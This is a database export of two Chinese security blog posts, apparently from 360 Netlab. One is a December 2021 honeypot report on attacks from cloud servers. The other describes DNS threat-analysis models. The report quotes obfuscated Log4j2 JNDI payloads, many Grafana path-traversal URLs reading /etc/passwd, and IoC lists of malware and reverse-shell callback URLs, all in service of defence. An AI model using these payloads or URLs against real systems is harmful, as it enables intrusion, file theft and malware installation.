而从扫描和攻击的具体行为来看，主要是Redis漏洞攻击、FTP和SSH协议的扫描和暴力破解。该类自动化攻击在互联网上较为流行，各云服务商和上云的用户单位应当重点防范，包括但不限于及时升级相关应用至最新版本，设置强度足够高的密码，保证应用的安全设置配置正确，以及使用云服务商提供的云安全产品等。
从向外传播恶意软件来看，主要传播了以下6类恶意软件，重点注意云上资产被植入木马窃取信息和被恶意挖矿的风险。
4. 云上Bot流量
除了层出不穷的漏洞攻击和暴力破解外，Bot流量也是云上资产所面临的另一大威胁。根据CloudFlare的统计，互联网上有40%的流量都来自于各类Bot，良好的Bot可以优化搜索结果，帮助提高网站搜索排名和用户体验，监控网站服务状态等，然而也有许多恶意Bot被各类黑灰产组织用于窃取网站敏感数据、暴力破解、发送垃圾邮件、抢票秒杀、广告刷量等恶意活动，这些活动损害正常用户体验和业务提供方利益，有的甚至涉嫌违法。特别是电商、游戏、广告等行业，已成为Bot流量的重灾区。360 Anglerfish蜜罐系统的威胁情报除了用于防范漏洞攻击外，也可以用于识别Bot流量。
从Bot所使用的扫描工具来看，有80%的Bot使用了Zgrab作为扫描工具，这是一个与ZMap配合工作的应用层扫描器，可以从大量的域名/IP列表中快速找出含有特定指纹（运行特定服务）的机器，常被黑客用于寻找攻击目标。
恶意Bot为了躲避防火墙等的拦截，通常会把User-Agent伪装成搜索引擎爬虫等良好的Actor，比如以下同时包含了多个搜索引擎爬虫关键词的恶意Payload：
User-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm);googlebot|baiduspider|baidu|spider|sogou|bingbot|bot|yahoo|soso|sosospider|360spider|youdaobot|jikeSpider;)
为了提高Bot的识别准确度，直接接入威胁情报是一种最简单、直接、准确率高的方法。威胁情报可以与云防火墙等云原生安全产品配合使用，对云上网络攻击的预警和防护，Bot流量管理等都可以起到重要作用。希望这篇报告可以给云厂商和上云的甲方单位一些帮助和参考。
5. 防护建议
Apache Log4j2等高危漏洞的爆发给云安全也带来了巨大的挑战。建议云上用户做好以下防范措施：
1）关注与云上资产相关应用和组件的漏洞信息，及时响应。
2）及时更新相关应用组件至最新版本，设置高强度的密码。
3）避免将没有必要的端口和服务暴露在公网上。
4）使用云服务商提供的云安全产品，并确保正确配置。
5）在云安全产品中接入准确率高的威胁情报。
6. 联系我们
感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。
7. 12月云服务器发起攻击总体情况
2021年12月，360网络安全研究院 Anglerfish蜜罐共捕获到全球50976个主流公有云IP的1.008亿个会话，其中有漏洞攻击的IP 9666个，传播恶意软件的IP 4097个。阿里云、DigitalOcean、腾讯云、亚马逊AWS、微软Azure和Linode是对外发起攻击最多的云服务商。与上个月相比，腾讯云的攻击IP数量有明显增加。
12月16日云服务器攻击会话数出现突增，属于IP地址为164.90.212.81的DigitalOcean云服务器在12月16日当天发送了超过140万次SSH爆破攻击。
在被云服务器IP攻击的产品或所属厂商上，Redis仍旧保持第一，由于12月Apache Log4j2高危漏洞的爆发，Apache上升到第3位。
在CVE漏洞中，Hyland ImageNow Server拒绝服务漏洞（CVE-2018-19629）最为热门，Apache Log4j2远程代码执行漏洞（CVE-2021-44228）12月爆发，位列第二位，另一个较新的热门漏洞是排在第四的Laravel的代码执行漏洞（CVE-2021-3129）。
在发送垃圾邮件和钓鱼邮件数量方面，国内云服务商表现较好，前4均为国外云服务商，腾讯云有一个IP（43.135.157.144）发送了一封垃圾邮件，排在并列第5。
在传播恶意软件方面，恶意挖矿、木马下载器和YellowDye位列前三位。
阿里云、腾讯云和DigitalOcean是传播恶意软件的IP数量前3位。
以下是本月前10位的恶意软件下载服务器，github也成为了恶意软件的传播渠道：
域名/IP
IP数
恶意软件数
恶意软件种类
传播次数
oracle.zzhreceive.top
2,521
724
10
773,642
58.226.35.74
2,129
2
1
77,001
107.189.3.150
885
3
1
10,109
en2an.top
856
152
2
43,140
45.133.203.192
629
7
4
70,116
195.58.38.171
429
130
4
25,991
104.192.82.138
271
38
5
26,272
195.242.111.238
265
4
4
28,345
github.com
209
1
1
280
crypto.htxreceive.top
166
40
7
223,484
在密码爆破攻击方面，DigitalOcean发起的爆破攻击最多，腾讯云和阿里云排在二、三位，密码爆破攻击最多的协议是SSH协议。
附录：IoC List
URL：
http://192.210.200.66:1234/xmss
http://194.40.243.24/libsystem.so
http://95.182.123.186/libsystem.so
http://194.40.243.24/kinsing
http://46.161.52.37/Exploit.sh
https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/xmrig.tar.gz
ldap://192.210.200.66:88/GroovyBypass/Comman
ldap://212.193.30.176:1389/o
ldap://107.172.214.23:88/TomcatBypass/ReverseShell/107.172.214.23/8899
ldap://136.144.41.116:1389/ane6fo
md5：
8e601a81ad913050e82e5b3020692927
ccef46c7edf9131ccffc47bd69eb743b
648effa354b3cbaad87b45f48d59c616
c15d3b91bf591bd23e09858c25b052dc
bb5c0baa20c0dc263d2922cc2c9bd924
b9c17b9d324fbf561eb568dff665f801
dbc9125192bd1994cbb764f577ba5dda
c42d4164050a98005ad10c9299b084ac
d791088579581ba5dd4b57d2d6028731
e06a0e1f4164e02751c5178879b9f07c
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 1. 概述\n\n云服务具备部署方便、资源灵活弹性、按需付费等优势，各类企业、政府、事业单位、高校和研究机构近年来都参与到了“上云”的潮流中。然而，随着越来越多各行各业的敏感数据“上云”，云安全问题的重要性和紧迫性也越发突出。近年来，全球云服务器被DDoS攻击、入侵、网站页面恶意修改、敏感数据泄露、加密勒索、恶意挖矿等安全事件频发，特别是提供公网服务的云主机，时时刻刻面临着**漏洞攻击、暴力破解、Bot流量等**云上网络威胁，这要求无论是云服务商还是云上用户都需要时刻做好威胁检测和处置的准备。\n\n云安全的关键是“知己知彼”。“知己”就是做好云上资产、组件、数据和漏洞的管理，包括对云上数据按照敏感程度分类管控、对云上资产和组件做好清点和监控，及时全面修复漏洞，保证云产品安全配置正确等。而“知彼”就是及时发现和阻断各类外部网络威胁。传统的以硬件为载体的各类安全产品难以部署于云端资产，无法适应公有云轻量、虚拟化、灵活取用的特点。而威胁情报结合云原生防火墙，不需要复杂的部署和配置，就可实现云上资产对公网威胁的全面防护和管控。\n\n根据360 Anglerfish蜜罐系统捕获的威胁情报数据，本文从近期云上热门漏洞攻击、公有云资产对外扫描攻击、Bot流量等维度分析2021年12月云上网络威胁的特点。我们认为，威胁情报在识别和防范这些云上网络威胁上可以发挥重要作用。\n\n\n\n### 2. 云上热门漏洞攻击威胁\n\n#### 2.1 Apache Log4j2远程代码执行漏洞\n\n北京时间2021年12月9日深夜，Apache Log4j2被爆出远程代码执行漏洞（CVE-2021-44228），Log4j2是诸多Java应用的基础组件，漏洞的利用又非常简单，因此这个“史诗级漏洞”一经公开，攻击便立马蜂拥而来。部署了大量Java业务的公有云自然而然成为了攻击者主要的攻击目标。\n\n12月10日0点，蜜罐节点捕获到了第一个Log4j2漏洞攻击，随后不到48个小时，已有分布在全球各大云服务器上的蜜罐节点捕获到了攻击**共7146次**，攻击者的动作之快让人始料未及。在这个漏洞曝出后，我们也从蜜罐视角发布了[相关文章](__GHOST_URL__/apache-log4j2-vulnerability-attack-trend-from-the-perspective-of-honeypot/)。\n\n这个漏洞由于Log4j2的语法特性，通过${lower}，${upper}，${${::-}}等语法对关键词进行分割，或是转换为Unicode字符后，仍然可以正常执行命令(下面给出了一些绕过原始Payload检测的例子);此外，该漏洞的利用点非常多，只要是输出日志的地方都有可能被攻击者利用。这两点导致只对原始Payload进行检测的传统安全产品，几乎没办法全面防范此类威胁。而使用威胁情报，用户不需要任何本地流量特征，就可以直接获取有威胁的IP、URL等信息，相比于对用户本地流量检测准确率更高、使用更方便。\n\n```java\n${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://x.x.x.x:xxxx/#test}\n\n${${lower:j}${lower:n}${lower:d}${lower:i}:r${lower:m}${lower:i}://x.x.x.x:xxxx/#test}\n\n${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://xx.xx.xx.xx/#test}\n\n${j${zG:xuc:-n}d${wXuN:-i}:dns:/${emWDv:Jdq:-/}${${RfdM:txf:-h}o${O:atnIDv:-s}${O:YM:sdm:fP:DPYEXx:-t}${fiShn:P:NA:-N}${v:h:rLVoL:-a}me}.b2${Ld:Tnzo:-h}p${cCC:-8}r${aoq:FF:-.}dnslog.${GL:-c}n}\n\n${${ogEqGS:RDg:fUxz:-j}${ldB:E:N:PG:-n}${VzvPou:-d}${lr:oRfT:-i}${nw:-:}${j:-d}${EcFIy:YQUG:zKWwP:jNq:DjGp:-n}${sjydOt:S:eCS:QQ:xRDd:-s}${nLj:F:TptB:-:}${WqfK:rWy:YVXz:-/}${jyvggg:wrwT:hp:-/}${${Pw:-h}${R:-o}${Y:bhV:-s}${sNr:Oiv:RBRrv:ISrLbB:rCBSw:-t}${h:JeAg:-N}${Se:L:dxEa:Ssx:-a}${HYtfSz:AInf:gHTSJ:LkD:Wxqq:-m}${uxdytq:-e}}${EBxUv:wf:UmUc:dIDP:-.}${k:x:Fq:muQmwT:-b}${XioYP:Qc:-2}${Gnr:NY:-h}${YhRuP:tIAVJ:W:-p}${veLxt:pVKX:MPGdO:lNo:LXWtN:-8}${NqPAoG:lhEirn:QhJOS:QIMJ:-r}${wx:-.}${H:wA:UTu:s:TwBzM:-d}${VGlR:CXlxMV:PSJ:-n}${b:wMDG:wn:PjYam:-s}${Nmdg:y:sNnW:-l}${rF:GRmC:-o}${RkV:QRb:-g}${LDBWIn:dMxv:-.}${pNgiK:az:arNf:-c}${OgV:XPTn:-n}}\n```\n\n\n\n#### 2.2 Grafana任意文件读取漏洞\n\n12月另一个高危漏洞和Apache Log4j2同样有着多样且难以识别的流量特征。12月7日，用于数据统计和监控的可视化工具Grafana公开了一个未授权任意文件读取漏洞（CVE-2021-43798），允许攻击者不经过身份验证就访问目标机器的敏感数据。该漏洞的一大特点就是可用于漏洞利用的URL非常多，目前我们已确认有52类URL都可以攻击成功，以下是其中一部分URL：\n\n```html\n/public/plugins/grafana-clock-panel/../../../../../../etc/passwd\n/public/plugins/dashlist/../../../../../../../../../etc/passwd\n/public/plugins/stackdriver/../../../../../../../../../etc/passwd\n/public/plugins/heatmap/../../../../../../../../../etc/passwd\n/public/plugins/prometheus/../../../../../../../../../etc/passwd\n/public/plugins/table/../../../../../../../../../etc/passwd\n/public/plugins/opentsdb/../../../../../../../../../etc/passwd\n/public/plugins/alertlist/../../../../../../../../../etc/passwd\n/public/plugins/graph/../../../../../../../../../etc/passwd\n/public/plugins/graphite/../../../../../../../../../etc/passwd\n/public/plugins/elasticsearch/../../../../../../../../../etc/passwd\n/public/plugins/text/../../../../../../../../../etc/passwd\n/public/plugins/pluginlist/../../../../../../../../../etc/passwd\n/public/plugins/influxdb/../../../../../../../../../etc/passwd\n/public/plugins/cloudwatch/../../../../../../../../../etc/passwd\n/public/plugins/mysql/../../../../../../../../../etc/passwd\n/public/plugins/postgres/../../../../../../../../../etc/passwd\n/public/plugins/graph/../../../../../../../../etc/passwd\n/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd\n/public/plugins/graph/../../../../../../../../../../../../../../../etc/passwd\n/public/plugins/zipkin/../../../../../../../../../etc/passwd\n/public/plugins/text/../../../../../../../../../../../../../../../../etc/passwd\n/public/plugins/tempo/../../../../../../../../../etc/passwd\n```\n\n由于可以攻击的URL非常多，我们很难通过指定URL的流量特征来判断攻击。而威胁情报生产提供者可以使用蜜罐等更多手段获取更加准确、全面的威胁信息，解决了用户侧本地检测受到的各种限制，用户只需要直接根据威胁情报进行屏蔽处理即可。\n\n可以看出，当前高危漏洞攻击越来越呈现出从漏洞公开到攻击爆发时间短，攻击方式灵活多变，难以通过简单规则过滤的特点。这导致漏洞公开后，留给甲方应急响应人员的时间越来越少，难度越来越大，传统基于流量规则的安全产品也越来越难以全面防范。此外，硬件形式的传统安全产品也难以与公有云服务相兼容。针对这些问题，可以采用威胁情报以提高云安全应急响应能力，降低对突发安全威胁和未知安全威胁反应时间，降低突发安全事件对企业业务的影响。\n\n\n\n### 3. 公有云资产的对外扫描和攻击\n\n除互联网等特定行业需要爬虫对外扫描提供服务外，正常运行业务的云主机不应当出现在公网上扫描其它设备，甚至发起漏洞攻击的行为。一旦发生了这些行为，要么该主机直接由黑客购买并使用，要么已被黑客入侵，成为黑客的代理或“肉鸡”。\n\n在对外发起扫描攻击的国内主要企事业单位和政府机关的云资产中，来自事业单位和政府机关的云资产IP占90%以上。一方面说明事业单位、政府机关的云资产往往具有比较高的价值，容易吸引黑客的攻击，例如12月发现对外攻击的案例中包括某直辖市的区级人大代表办事系统，以及某中央部委下属研究所。另一方面也说明这些单位在业务上云的过程中，安全意识还是不够强，未做好充分的安全措施。\n\n\n\n超过75%的对外扫描和攻击的云资产架设在阿里云上，这与阿里云在国内市场，特别是政企云市场拥有领先的市场占有率相关。\n\n\n\n而从扫描和攻击的具体行为来看，主要是Redis漏洞攻击、FTP和SSH协议的扫描和暴力破解。该类自动化攻击在互联网上较为流行，各云服务商和上云的用户单位应当重点防范，包括但不限于及时升级相关应用至最新版本，设置强度足够高的密码，保证应用的安全设置配置正确，以及使用云服务商提供的云安全产品等。\n\n\n\n从向外传播恶意软件来看，主要传播了以下6类恶意软件，重点注意云上资产被植入木马窃取信息和被恶意挖矿的风险。\n\n\n\n\n\n### 4. 云上Bot流量\n\n除了层出不穷的漏洞攻击和暴力破解外，Bot流量也是云上资产所面临的另一大威胁。[根据CloudFlare的统计](https://zhuanlan.zhihu.com/p/327728621)，互联网上有40%的流量都来自于各类Bot，良好的Bot可以优化搜索结果，帮助提高网站搜索排名和用户体验，监控网站服务状态等，然而也有许多恶意Bot被各类黑灰产组织用于窃取网站敏感数据、暴力破解、发送垃圾邮件、抢票秒杀、广告刷量等恶意活动，这些活动损害正常用户体验和业务提供方利益，有的甚至涉嫌违法。特别是电商、游戏、广告等行业，已成为Bot流量的重灾区。360 Anglerfish蜜罐系统的威胁情报除了用于防范漏洞攻击外，也可以用于识别Bot流量。\n\n从Bot所使用的扫描工具来看，有80%的Bot使用了Zgrab作为扫描工具，这是一个与ZMap配合工作的应用层扫描器，可以从大量的域名/IP列表中快速找出含有特定指纹（运行特定服务）的机器，常被黑客用于寻找攻击目标。\n\n\n\n\n恶意Bot为了躲避防火墙等的拦截，通常会把User-Agent伪装成搜索引擎爬虫等良好的Actor，比如以下同时包含了多个搜索引擎爬虫关键词的恶意Payload：\n\n```http\nUser-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm);googlebot|baiduspider|baidu|spider|sogou|bingbot|bot|yahoo|soso|sosospider|360spider|youdaobot|jikeSpider;)\n```\n\n为了提高Bot的识别准确度，直接接入威胁情报是一种最简单、直接、准确率高的方法。威胁情报可以与云防火墙等云原生安全产品配合使用，对云上网络攻击的预警和防护，Bot流量管理等都可以起到重要作用。希望这篇报告可以给云厂商和上云的甲方单位一些帮助和参考。\n\n### 5. 防护建议\n\nApache Log4j2等高危漏洞的爆发给云安全也带来了巨大的挑战。建议云上用户做好以下防范措施：\n1）关注与云上资产相关应用和组件的漏洞信息，及时响应。\n2）及时更新相关应用组件至最新版本，设置高强度的密码。\n3）避免将没有必要的端口和服务暴露在公网上。\n4）使用云服务商提供的云安全产品，并确保正确配置。\n5）在云安全产品中接入准确率高的威胁情报。\n\n\n### 6. 联系我们\n感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。\n\n### 7. 12月云服务器发起攻击总体情况\n\n2021年12月，360网络安全研究院 Anglerfish蜜罐共捕获到全球50976个主流公有云IP的1.008亿个会话，其中有漏洞攻击的IP 9666个，传播恶意软件的IP 4097个。阿里云、DigitalOcean、腾讯云、亚马逊AWS、微软Azure和Linode是对外发起攻击最多的云服务商。与上个月相比，腾讯云的攻击IP数量有明显增加。\n\n<a href=\"__GHOST_URL__/content/images/2022/01/image-20220110112255852.png\"><img src=\"__GHOST_URL__/content/images/2022/01/image-20220110112255852.png\" class=\"kg-image\"/></a>\n\n12月16日云服务器攻击会话数出现突增，属于IP地址为164.90.212.81的DigitalOcean云服务器在12月16日当天发送了超过140万次SSH爆破攻击。\n\n<a href=\"__GHOST_URL__/content/images/2022/01/image-20220114173610159.png\"><img src=\"__GHOST_URL__/content/images/2022/01/image-20220114173610159.png\" class=\"kg-image\"/></a>\n\n在被云服务器IP攻击的产品或所属厂商上，Redis仍旧保持第一，由于12月Apache Log4j2高危漏洞的爆发，Apache上升到第3位。\n\n<a href=\"__GHOST_URL__/content/images/2022/01/image-20220114174655905.png\"><img src=\"__GHOST_URL__/content/images/2022/01/image-20220114174655905.png\" class=\"kg-image\"/></a>\n\n在CVE漏洞中，Hyland ImageNow Server拒绝服务漏洞（CVE-2018-19629）最为热门，Apache Log4j2远程代码执行漏洞（CVE-2021-44228）12月爆发，位列第二位，另一个较新的热门漏洞是排在第四的Laravel的代码执行漏洞（CVE-2021-3129）。\n\n<a href=\"__GHOST_URL__/content/images/2022/01/image-20220117170615876.png\"><img src=\"__GHOST_URL__/content/images/2022/01/image-20220117170615876.png\" class=\"kg-image\"/></a>\n\n在发送垃圾邮件和钓鱼邮件数量方面，国内云服务商表现较好，前4均为国外云服务商，腾讯云有一个IP（43.135.157.144）发送了一封垃圾邮件，排在并列第5。\n\n<a href=\"__GHOST_URL__/content/images/2022/01/image-20220114175102374.png\"><img src=\"__GHOST_URL__/content/images/2022/01/image-20220114175102374.png\" class=\"kg-image\"/></a>\n\n在传播恶意软件方面，恶意挖矿、木马下载器和YellowDye位列前三位。\n\n<a href=\"__GHOST_URL__/content/images/2022/01/image-20220117140000255.png\"><img src=\"__GHOST_URL__/content/images/2022/01/image-20220117140000255.png\" class=\"kg-image\"/></a>\n\n阿里云、腾讯云和DigitalOcean是传播恶意软件的IP数量前3位。\n\n<a href=\"__GHOST_URL__/content/images/2022/01/image-20220118114457689.png\"><img src=\"__GHOST_URL__/content/images/2022/01/image-20220118114457689.png\" class=\"kg-image\"/></a>\n\n以下是本月前10位的恶意软件下载服务器，github也成为了恶意软件的传播渠道：\n\n| 域名/IP | IP数 | 恶意软件数 | 恶意软件种类 | 传播次数 |\n| :-------------------: | :---: | :--------: | :----------: | :------: |\n| oracle.zzhreceive.top | 2,521 | 724 | 10 | 773,642 |\n| 58.226.35.74 | 2,129 | 2 | 1 | 77,001 |\n| 107.189.3.150 | 885 | 3 | 1 | 10,109 |\n| en2an.top | 856 | 152 | 2 | 43,140 |\n| 45.133.203.192 | 629 | 7 | 4 | 70,116 |\n| 195.58.38.171 | 429 | 130 | 4 | 25,991 |\n| 104.192.82.138 | 271 | 38 | 5 | 26,272 |\n| 195.242.111.238 | 265 | 4 | 4 | 28,345 |\n| github.com | 209 | 1 | 1 | 280 |\n| crypto.htxreceive.top | 166 | 40 | 7 | 223,484 |\n\n在密码爆破攻击方面，DigitalOcean发起的爆破攻击最多，腾讯云和阿里云排在二、三位，密码爆破攻击最多的协议是SSH协议。\n\n<a href=\"__GHOST_URL__/content/images/2022/01/image-20220117140841769.png\"><img src=\"__GHOST_URL__/content/images/2022/01/image-20220117140841769.png\" class=\"kg-image\"/></a>\n\n### 附录：IoC List\n\nURL：\n\n```http\nhttp://192.210.200.66:1234/xmss\nhttp://194.40.243.24/libsystem.so\nhttp://95.182.123.186/libsystem.so\nhttp://194.40.243.24/kinsing\nhttp://46.161.52.37/Exploit.sh\nhttps://raw.githubusercontent.com/C3Pool/xmrig_setup/master/xmrig.tar.gz\nldap://192.210.200.66:88/GroovyBypass/Comman\nldap://212.193.30.176:1389/o\nldap://107.172.214.23:88/TomcatBypass/ReverseShell/107.172.214.23/8899\nldap://136.144.41.116:1389/ane6fo\n```\n\nmd5：\n\n```\n8e601a81ad913050e82e5b3020692927\nccef46c7edf9131ccffc47bd69eb743b\n648effa354b3cbaad87b45f48d59c616\nc15d3b91bf591bd23e09858c25b052dc\nbb5c0baa20c0dc263d2922cc2c9bd924\nb9c17b9d324fbf561eb568dff665f801\ndbc9125192bd1994cbb764f577ba5dda\nc42d4164050a98005ad10c9299b084ac\nd791088579581ba5dd4b57d2d6028731\ne06a0e1f4164e02751c5178879b9f07c\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61e0ddd63819e50007637cbb |
post | null | 2022-02-10T10:32:04.000Z | 63873b9a8b1c1e0007f53007 | use_dta_to_illuminate_the_path_of_dns_threat_analysis_3 | 0 | 2022-02-24T02:40:28.000Z | public | published | null | 2022-02-24T02:40:28.000Z | 用DTA照亮DNS威胁分析之路 (3) | <p><strong><em>--- 内置未知威胁分析模型介绍</em></strong></p><h2 id="-">概述</h2><p>在<a href="__GHOST_URL__/use_dta_to_illuminate_the_path_of_dns_threat_analysis_2/">系列文章2</a>，介绍了如何利用DTA进行一轮完整的未知威胁分析，共有3个步骤：</p><!--kg-card-begin: markdown--><blockquote>
<p>1、提出分析思路，从DNS日志里找到可疑线索<br>
2、确认可疑线索有威胁行为<br>
3、借助DNS日志确认资产被感染</p>
</blockquote>
<!--kg-card-end: markdown--><p>其中，这几个步骤里最为安全分析人员所熟悉的应该是步骤2，毕竟日常工作大家都少不了利用各家威胁情报平台、搜索引擎和云沙箱进行信息搜集+关联+确认可疑线索；而步骤1和3，因为涉及到DNS日志，对于不熟悉DNS的分析人员来说，是需要一定学习成本去积累相关分析经验和熟悉DTA的各类元数据的。</p><p>因此，针对未知威胁分析，DTA预置了可疑心跳域名、可疑NOD(新出现在网络中的可疑域名)、可疑境外域名等等模型，这些模型以后台运行的方式自动完成上述3个步骤，当模型计算出某个域名存在威胁行为时，会在首页以威胁告警的方式通知分析人员有“未知威胁”类型的告警需要进一步分析。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2022/02/07.png" class="kg-image" alt loading="lazy"><figcaption>图-1 首页_未知威胁</figcaption></figure><p>此时，未知威胁分析的难度和工作强度，降低到了和已知威胁分析差不太多的高度。分析人员只要按照已知威胁分析的模式开展工作，即可完成告警的处置，清除网络存在的未知威胁隐患。</p><h2 id="--1">模型</h2><p>不难想象，未知威胁分析模型对刚刚接触DTA的分析人员来说，乍听起来会觉得专业生僻，令人心生抗拒。不过如果把模型映射到现实生活，读者把自己代入成朝阳群众那样去分析身边隐秘的线索，会发现模型的原理其实是简单易懂的。首先，按下表做一个映射。</p><!--kg-card-begin: markdown--><table>
<thead>
<tr>
<th>实体</th>
<th>元素1</th>
<th>元素2</th>
<th>元素3</th>
<th>日志的含义</th>
</tr>
</thead>
<tbody>
<tr>
<td>DTA</td>
<td>资产</td>
<td>时间</td>
<td>域名及其Rdata</td>
<td>某资产在某时间请求解析某域名</td>
</tr>
<tr>
<td>现实世界</td>
<td>人</td>
<td>时间</td>
<td>地点</td>
<td>某人在某时间出现在某地点</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--><p>那么，DTA记录在数据库的DNS日志，就如同现实世界里的摄像头，忠实地记录着监控范围内发生的事件。通过分析监控，可以总结出一些可疑情景和模型相对应：</p><p>1、某段时间，某人总是在每天的某个时间点准时在某个地方出现。这个情景对应到DTA，属于“<em><strong>可疑心跳域名</strong></em><strong>”</strong>：就是资产有周期性域名请求，每隔一个固定时间段会发出对该域名的解析请求。DTA部署实践发现，winnit、双枪等多个恶意家族的C2域名在DNS日志上有明显的心跳周期行为。</p><p>2、某天，在某个地方出现了一个大家都没见过的陌生人。这个情景对应到DTA，叫做<strong>“</strong><em><strong>可疑NOD</strong></em><strong>”</strong>：即有资产请求了新观测到的域名(New Observe Domain)，这个域名在以往的访问历史里，从来没有在该网络出现过。可疑NOD适用范围较广，在攻击行为发生的下载、通信阶段等都有机会捕获到线索。</p><p>3、如果有某人，经常前往境外的某个地点，这个地点，普罗大众几乎没有前往的记录。这个情景对应到DTA，则是<strong>“<em>可疑境外域名</em>”</strong>：资产访问了一个很少有人请求的境外域名，很少有人请求这个指标是通过统计大网的PDNS数据来度量的，比如自域名出现以来，全中国访问该域名的人数不超过20个。想挖掘高级威胁的分析人员，可以多关注此模型提供的线索。我们曾经测试回溯360发布的APT报告域名类IoC，发现部署在公司内部的DTA，在安全人员利用沙箱测试样本的时候，此模型都能捕获到线索(<a href="__GHOST_URL__/use_dta_to_illuminate_the_path_of_dns_threat_analysis_1/">系列文章1</a>的图-3算是一个不完全恰当的例子--IoC不是360报告)。不过也要保持清醒，找到线索在一个完整的高级威胁分析周期里，大概只能算万里长征的第一里，方向有了，但更多的艰苦在后头。</p><p>4、某同事每天上班，总是来回背着鼓鼓囊囊的背包，而其他同事多是两袖清风地上下班，这个情景对应到DTA，叫<strong>“<em>可疑DNS隧道</em>”</strong>：正常的域名请求，前缀相对固定且字符较少，如果某个域名的前缀变化多端，有可能是恶意程序在和C2通信，将偷窃的数据隐藏在正常的DNS请求和响应中。</p><p>原理是简单的，难点在大数据的环境下，符合规则的数据量会远超人力可处理范围。以NOD为例，在一个稍有规模（比如1000个员工）的公司网络里，工作日观察到的NOD域名数量可达百万级别，而在休息日，也有十万级别。在这里，借助360云端大数据和积累的经验规则，可以让模型把可疑线索的数据量在尽可能不漏报的情况下降到百或千的级别，然后以可控地方式进入到步骤2和3。</p><p>在步骤3，有一个非常值得一提的“自动分析”功能，当该功能分析出告警事件为“无威胁”时，会在告警状态栏打上“无恶意行为”的徽章并给出判断理由。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2022/02/06-1.png" class="kg-image" alt loading="lazy"><figcaption>图-2 自动分析完成_无威胁</figcaption></figure><p>除了未知威胁相关的模型，DTA也集成有很多其它类别的模型用来辅助威胁分析。比如可以帮助分析人员判断资产性质的模型，这些模型能标定资产是客户端或服务器，以及操作系统是Windows或安卓等等；又比如在域名分析页面，为帮助分析人员串起一个事件的前后域名访问关系，集成有共同访问模型。如此等等，不一而足。</p><h2 id="--2">举例</h2><p>前面的原理介绍，说明了模型的思路和使用场景。这一节，我们来个例子介绍一下在DTA是如何处置未知威胁类型告警的。</p><p>点击顶部菜单栏进入“威胁告警”页面。页面的第一栏是告警汇总栏，其中，威胁类型分为3类：1、已知威胁和AI识别威胁是由引擎实时匹配IoC产生的；2、网络异常是DNS流量相关的异常；3、本文所描述的未知威胁。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2022/02/02-1.png" class="kg-image" alt loading="lazy"><figcaption>图-3 威胁告警页面_汇总栏</figcaption></figure><p>点选“威胁类型”里的未知威胁，页面的第二栏告警列表栏会把指定时间段内的未知威胁过滤出来，通过标题，即可以分辨告警是由可疑心跳还是NOD还是DNS隧道引起的。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2022/02/03.png" class="kg-image" alt loading="lazy"><figcaption>图-4 威胁告警页面_告警列表栏</figcaption></figure><p>打开状态为“待分析”的事件，进入告警详情页面。页面第一栏IoCs列出域名的基本信息和模型在第2步运行时关联到的判黑情报；第二栏列出当前受影响的资产及其请求恶意域名的概况；在处理完成后，可以在第三栏写下分析经验，供其他人参考。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2022/02/04-2.png" class="kg-image" alt loading="lazy"><figcaption>图-5 告警详情页面</figcaption></figure><p>如果想进一步看模型在第2步时的关联关系，点击右上角的“威胁情报图”。</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2022/02/05-1.png" class="kg-image" alt loading="lazy"><figcaption>图-6 威胁情报图</figcaption></figure><p>根据告警详情页面提供的威胁情报，有逆向能力的分析人员，可以分析样本的行为进一步实锤确认；想轻松一点的可以先尝试通过搜索引擎和各家威胁情报平台搜索关键字，看看有没有相关的分析报告。这个例子里，通过搜索引擎搜索 “macapproduct[.]com macos”关键字，可以搜到相关的分析报告，比如<a href="https://nosec.org/home/detail/2253.html">《利用EXE文件攻击MacOS》</a>。</p><p>至此，仅通过点击查看告警提供的内容和借助搜索引擎，分析人员就可以形成结论：这是一台操作系统为MacOS的资产，被利用exe文件的攻击方法感染了。至于后期的处置动作，因为DTA是被动监听型，必须和其它安全产品配合才能完成清除阻断。</p><h2 id="--3">结语</h2><p>内置的自动化分析模型可以解决普适性的问题并降低安全运维难度和强度。但再丰富的规则也只能描述有限的场景，而网络安全对抗，新手法总是层出不穷，所谓魔高一尺道高一丈。</p><p>人的思想是最灵动的，发挥人的能动作用，在未知威胁模型的第1步输出结果上进行深层次的挖掘，有时会有意外收获。下篇举一例子说明如何基于未知威胁最原始的输出上进行威胁分析，敬请期待。</p><p>产品、商务咨询，请联系 <a href="mailto:[email protected]">[email protected]</a></p> | --- 内置未知威胁分析模型介绍
概述
在系列文章2，介绍了如何利用DTA进行一轮完整的未知威胁分析，共有3个步骤：
1、提出分析思路，从DNS日志里找到可疑线索
2、确认可疑线索有威胁行为
3、借助DNS日志确认资产被感染
其中，这几个步骤里最为安全分析人员所熟悉的应该是步骤2，毕竟日常工作大家都少不了利用各家威胁情报平台、搜索引擎和云沙箱进行信息搜集+关联+确认可疑线索；而步骤1和3，因为涉及到DNS日志，对于不熟悉DNS的分析人员来说，是需要一定学习成本去积累相关分析经验和熟悉DTA的各类元数据的。
因此，针对未知威胁分析，DTA预置了可疑心跳域名、可疑NOD(新出现在网络中的可疑域名)、可疑境外域名等等模型，这些模型以后台运行的方式自动完成上述3个步骤，当模型计算出某个域名存在威胁行为时，会在首页以威胁告警的方式通知分析人员有“未知威胁”类型的告警需要进一步分析。
